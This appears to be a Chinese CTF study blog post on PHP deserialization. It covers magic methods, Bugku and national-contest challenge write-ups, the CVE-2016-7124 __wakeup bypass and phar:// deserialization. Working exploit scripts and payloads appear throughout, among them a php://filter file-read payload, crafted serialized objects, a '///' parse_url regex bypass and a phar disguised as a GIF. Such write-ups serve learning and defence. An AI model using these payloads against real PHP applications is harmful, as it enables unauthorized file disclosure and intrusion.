0x00前言
最近事件有点安排不过来呀,又是DiDi,又是西湖论剑,又要准备国赛,所以学习的东西发的晚一点。由于自己是一个python型的web狗,所以php对我来说就是一个陌生的语言,自己对与不懂得一定要去补上
0x01serialize与unserialize
php使用serialize
和unserialize
两个函数来进行序列化和反序列化,相当于python的pickle
模块包。最基本的序列化函数如下
<?php
class serialize_test
{
private $name = 'christa';
public $url = 'https://christa.top';
}
$to_serilaize = new serilaize_test;
$data = serialize($to_serilaize);
echo $data;
?>
得到序列话后的字符串
O:14:"serilaize_test":2:{s:20:" serilaize_test name";s:7:"christa";s:3:"url";s:11:"christa.top";}
其中O:14:"serilaize_test"
表示Object对象,14个字符,serilaize_test,:2
为对象属性个数为2,{}里面为属性字符数:属性值,其反序列化代码为
<?php
$data = 'O:14:"serilaize_test":2:{s:20:" serilaize_test name";s:7:"christa";s:3:"url";s:11:"christa.top";}';
$data2 = unserialize($data);
var_dump($data2);
?>
结果为
object(__PHP_Incomplete_Class)#1 (3) {
["__PHP_Incomplete_Class_Name"]=>
string(14) "serilaize_test"
[" serilaize_test name"]=>
string(7) "christa"
["url"]=>
string(11) "christa.top"
}
0x02 PHP中的魔术函数
__sleep()
运行serilaize()函数时会检查是否存在魔术函数方法__sleep()。如果存在,该方法则会先被调用,然后才执行序列化操作,此功能用于清理对象该方法常用于提交未提交的的数据,或类似的清理操作。
__wakeup()
在进行unserialize()时,会检查是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup()方法,预先准备对象需要资源。
__toString()
使用方法 public __toString ( void ) : string
__construct()
当一个对象创建时被调用
__destruct()
当一个对象销毁时被调用
该方法用于一个类被当成字符串时候进行的返回的信息。
代码如下
<?php
class Test{
public function __construct($ID){
$this->ID = $ID;
$this->info = sprintf("This is ID %s\n",$ID);
}
public function __toString(){
return "__toString function\n";
}
public function __sleep(){
echo __METHOD__ . "\n";
echo "sleep function has been execute!\n";
return array($this->ID);
}
#__sleep函数的hi用
public function __wakeup(){
echo __METHOD__ . "\n";
echo "wakeup fucntion has been execute\n";
}
# __wakeup函数使用
}
$m = new Test('christa');
$temp = serialize($m);
echo $temp . "\n";
$m = unserialize($temp);
echo $m;
?>
其结果为
Test::__sleep
sleep function has been execute!
O:4:"Test":1:{s:7:"christa";N;}
Test::__wakeup
wakeup fucntion has been execute
__toString function
首先看看toString的序列化漏洞,看一道bugku的题目,能达到题目,F12大法看到源码
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
构造一下源码,使用php伪协议构造一下
解码得到
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
再读一读index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
toString序列化漏洞,那么写出exploit代码
<?php
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$a = new Flag();
$a->file = 'flag.php';
$m = serialize($a);
echo $m;
?>
将运行后的结果O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
输入到参数password中,即可得到flag{php_is_the_best_language}
0x03 CVE-2016-7124
在php版本为PHP5 < 5.6.25或PHP7 < 7.0.10时,当序列化中表示对象属性个数的值大于真实的属性个数时会跳过weakup的执行,试试如下代码
在一个序列化中
O:14:"serilaize_test":2:{s:20:"\00serilaize_test\00name";s:7:"christa";s:3:"url";s:11:"christa.top";}
则设置属性值大于原来的值既可以绕过wakeup函数,构造payload
O:14:"serilaize_test":5:{s:20:"\00serilaize_test\00name";s:7:"christa";s:3:"url";s:11:"christa.top";}
顺便学一学php各种打印姿势
echo()
可以一次输出多个值,多个值之间用逗号分隔。echo是语言结构(language construct),而并不是真正的函数,因此不能作为表达式的一部分使用。print()
print()输出字符串。print() 实际上不是一个函数(它是一个语言结构)所以不能被可变函数调用,因此你可以不必使用圆括号来括起它的参数列表。print_r()
可以把字符串和数字简单地打印出来,而数组则以括起来的键和值得列表形式显示,并以Array开头。但print_r()输出布尔值和NULL的结果没有意义,因为都是打印"\n"。因此用var_dump()函数更适合调试。var_dump()
判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型。此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
0x04 session反序列化漏洞
PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据进行序列化和反序列化,php.ini有如下几个参数
session.save_path
设置session的存储路径
session.save_handler
设定用户自定义存储函数
session.auto_start
指定会话模块是否在请求开始时启动一个会话
session.serialize_handler
定义用来序列化/反序列化的处理器名字,默认使用php
其存储机制是使用文件方式来存储的,由session.save_handler
来决定。文件名由sess_sessionid
命名,文件内容则为session序列化后的值,从代码中来看
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['id'] = 'christa';
?>
得到的文件和内容如下
a:1:{s:2:"id";s:7:"christa";}
就拿刚刚结束的国赛第一天web1来说吧,打开主页,源码中存在hint
直接使用文件包含漏洞获得源码
payload:file=php://filter/read=convert.base64-encode/resource=hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
再读一读源码
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
很简单,就是构造反序列化的文件读取flag,使用CVE来绕过__weakup方法,写出脚本
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
$this->token = &$this->token_flag;
$this->token = NULL;
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
$app = new Handle(new Flag('/flag'));
$m = serialize($app);
print_r($m."\n");
?>
构造出payload
O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
注意Handle里面的handle是私有变量,因此需要特殊处理,将0x00换成%00,之后传入,将token为NULL值N;
。同时因为parse_url
函数,同时又有regex正则匹配,因此只需要在url后面的位置加上///
既可以使parse_url解析参数为false,即可以绕过正则,最终payload为
///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
得到flag
不多说了,太菜了
0x05 phar 反序列化
在2018年8月份的Black Hat大会上,安全研究员Sam Thoms分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it
,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作
phar文件格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容无所谓,主要以 __HALT_COMPILER();?>
结尾,否则会导致无法识别为phar文件,来测试一下,将php.ini中phar.readonly
选项设置为Off
,否则无法生成phar文件,首先看代码
<?php
class PharObject {
public $id;
public function __wakeup(){
$this->id='christa';
print_r($this->id);
}
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new PharObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("pharss.txt", "pha"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
生成phar.phar
文件,可以看见为序列化储存
php大部分文件系统函数通过phar://协议解析phar文件,受影响的函数在paper中给出,通过代码既可以使用反序列化
<?php
class PharObject {
public $id;
public function __wakeup(){
$this->id='christa';
print_r($this->id);
}
}
$filename = 'phar://phar.phar/pharss.txt';
file_get_contents($filename);
?>
成功执行反序列化,我们也可以将phar未造成其他的类型的流
<?php
class PharObject {
public $id;
public function __wakeup(){
$this->id='christa';
print_r($this->id);
}
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new PharObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("pharss.txt", "pha"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
Reference
- https://php.net/manual/zh/language.oop5.magic.php
- https://github.com/p4int3r/POC/blob/master/CVE-2016-7124.md
- https://xz.aliyun.com/t/3674
- https://paper.seebug.org/680/
- https://raw.githubusercontent.com/s-n-t/presentations/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf